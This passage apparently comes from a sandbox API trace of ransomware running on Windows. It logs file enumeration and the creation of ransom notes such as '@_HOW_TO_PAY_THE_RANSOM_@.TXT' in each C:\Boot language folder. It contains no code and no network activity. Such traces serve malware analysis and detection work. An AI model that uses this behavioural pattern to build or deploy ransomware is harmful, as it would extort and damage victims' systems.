nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.747] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65415c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.747] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.747] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.747] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.747] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0068.747] AreFileApisANSI () returned 1 [0068.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.747] CreateFileW (lpFileName="C:\\\\Boot\\pl-PL\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\pl-pl\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.748] GetFileType (hFile=0x1f4) returned 0x1 [0068.748] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.749] AreFileApisANSI () returned 1 [0068.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.749] CreateFileW (lpFileName="C:\\\\Boot\\pl-PL\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\pl-pl\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.751] GetFileType (hFile=0x1f4) returned 0x1 [0068.751] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.752] AreFileApisANSI () returned 1 [0068.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.752] CreateFileW (lpFileName="C:\\\\Boot\\pl-PL\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\pl-pl\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.752] GetFileType (hFile=0x1f4) returned 0x1 [0068.752] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.753] FindFirstFileA (in: lpFileName="C:\\\\Boot\\pl-PL\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.754] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.754] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6567720, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.754] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6567720, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.754] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6567720, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.754] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.754] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.754] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.754] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0068.754] AreFileApisANSI () returned 1 [0068.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.754] CreateFileW (lpFileName="C:\\\\Boot\\pt-BR\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\pt-br\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.755] GetFileType (hFile=0x1f4) returned 0x1 [0068.755] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.756] AreFileApisANSI () returned 1 [0068.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.757] CreateFileW (lpFileName="C:\\\\Boot\\pt-BR\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\pt-br\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.758] GetFileType (hFile=0x1f4) returned 0x1 [0068.758] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.759] AreFileApisANSI () returned 1 [0068.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.759] CreateFileW (lpFileName="C:\\\\Boot\\pt-BR\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\pt-br\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.761] GetFileType (hFile=0x1f4) returned 0x1 [0068.761] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.762] FindFirstFileA (in: lpFileName="C:\\\\Boot\\pt-BR\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.762] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.762] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6567720, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.763] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa658d880, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.763] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6567720, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.763] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.763] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.763] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.763] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0068.763] AreFileApisANSI () returned 1 [0068.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.763] CreateFileW (lpFileName="C:\\\\Boot\\pt-PT\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\pt-pt\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.763] GetFileType (hFile=0x1f4) returned 0x1 [0068.763] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.764] AreFileApisANSI () returned 1 [0068.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.764] CreateFileW (lpFileName="C:\\\\Boot\\pt-PT\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\pt-pt\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.766] GetFileType (hFile=0x1f4) returned 0x1 [0068.766] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.767] AreFileApisANSI () returned 1 [0068.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.767] CreateFileW (lpFileName="C:\\\\Boot\\pt-PT\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\pt-pt\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.768] GetFileType (hFile=0x1f4) returned 0x1 [0068.768] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.769] FindFirstFileA (in: lpFileName="C:\\\\Boot\\pt-PT\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.769] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.769] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa658d880, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.769] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa658d880, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.769] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa658d880, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa658d880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa658d880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.769] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.769] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.769] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.770] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0068.770] AreFileApisANSI () returned 1 [0068.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.770] CreateFileW (lpFileName="C:\\\\Boot\\ru-RU\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\ru-ru\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.771] GetFileType (hFile=0x1f4) returned 0x1 [0068.771] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.772] AreFileApisANSI () returned 1 [0068.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.772] CreateFileW (lpFileName="C:\\\\Boot\\ru-RU\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\ru-ru\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.774] GetFileType (hFile=0x1f4) returned 0x1 [0068.774] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.775] AreFileApisANSI () returned 1 [0068.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.775] CreateFileW (lpFileName="C:\\\\Boot\\ru-RU\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\ru-ru\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.776] GetFileType (hFile=0x1f4) returned 0x1 [0068.776] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.777] FindFirstFileA (in: lpFileName="C:\\\\Boot\\ru-RU\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65b39e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65b39e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.777] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: 